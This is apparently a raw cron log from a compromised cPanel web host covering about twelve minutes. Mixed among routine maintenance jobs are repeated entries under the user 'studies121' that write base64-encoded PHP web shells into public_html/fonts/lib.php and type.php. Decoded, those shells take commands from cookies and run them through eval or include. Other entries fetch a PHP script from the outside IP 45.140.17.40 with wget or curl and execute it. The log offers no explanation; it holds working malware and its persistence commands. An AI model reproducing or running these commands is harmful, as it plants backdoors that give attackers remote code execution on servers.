Sep  2 15:03:01 ip-184-168-122-23 CROND[2917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:03:01 ip-184-168-122-23 CROND[2918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:03:01 ip-184-168-122-23 CROND[2916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:04:01 ip-184-168-122-23 CROND[2993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:04:01 ip-184-168-122-23 CROND[2997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:04:01 ip-184-168-122-23 CROND[2995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:04:01 ip-184-168-122-23 CROND[2996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:04:01 ip-184-168-122-23 CROND[2998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:05:02 ip-184-168-122-23 CROND[3137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:06:01 ip-184-168-122-23 CROND[3320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:06:01 ip-184-168-122-23 CROND[3322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:06:01 ip-184-168-122-23 CROND[3326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:06:01 ip-184-168-122-23 CROND[3324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:06:01 ip-184-168-122-23 CROND[3323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:07:01 ip-184-168-122-23 CROND[3442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:07:01 ip-184-168-122-23 CROND[3441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:07:01 ip-184-168-122-23 CROND[3445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:07:01 ip-184-168-122-23 CROND[3446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:08:01 ip-184-168-122-23 CROND[3531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:08:01 ip-184-168-122-23 CROND[3532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:08:01 ip-184-168-122-23 CROND[3534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:08:01 ip-184-168-122-23 CROND[3537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:08:01 ip-184-168-122-23 CROND[3535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:09:01 ip-184-168-122-23 CROND[3615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:09:01 ip-184-168-122-23 CROND[3616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:09:01 ip-184-168-122-23 CROND[3617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:09:01 ip-184-168-122-23 CROND[3618]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 15:09:01 ip-184-168-122-23 CROND[3620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:10:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:10:01 ip-184-168-122-23 CROND[3726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:10:01 ip-184-168-122-23 CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:10:01 ip-184-168-122-23 CROND[3731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:10:01 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:10:01 ip-184-168-122-23 CROND[3733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:10:01 ip-184-168-122-23 CROND[3732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:10:01 ip-184-168-122-23 CROND[3734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:11:01 ip-184-168-122-23 CROND[3923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:11:01 ip-184-168-122-23 CROND[3925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:11:01 ip-184-168-122-23 CROND[3924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:11:01 ip-184-168-122-23 CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:12:01 ip-184-168-122-23 CROND[4016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:12:01 ip-184-168-122-23 CROND[4018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:12:01 ip-184-168-122-23 CROND[4020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:12:01 ip-184-168-122-23 CROND[4019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:12:01 ip-184-168-122-23 CROND[4021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:13:01 ip-184-168-122-23 CROND[4104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:13:01 ip-184-168-122-23 CROND[4106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:13:01 ip-184-168-122-23 CROND[4108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:13:01 ip-184-168-122-23 CROND[4107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:14:01 ip-184-168-122-23 CROND[4217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:14:01 ip-184-168-122-23 CROND[4216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:14:01 ip-184-168-122-23 CROND[4218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:14:01 ip-184-168-122-23 CROND[4222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:14:01 ip-184-168-122-23 CROND[4223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:15:01 ip-184-168-122-23 CROND[4308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:15:01 ip-184-168-122-23 CROND[4306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
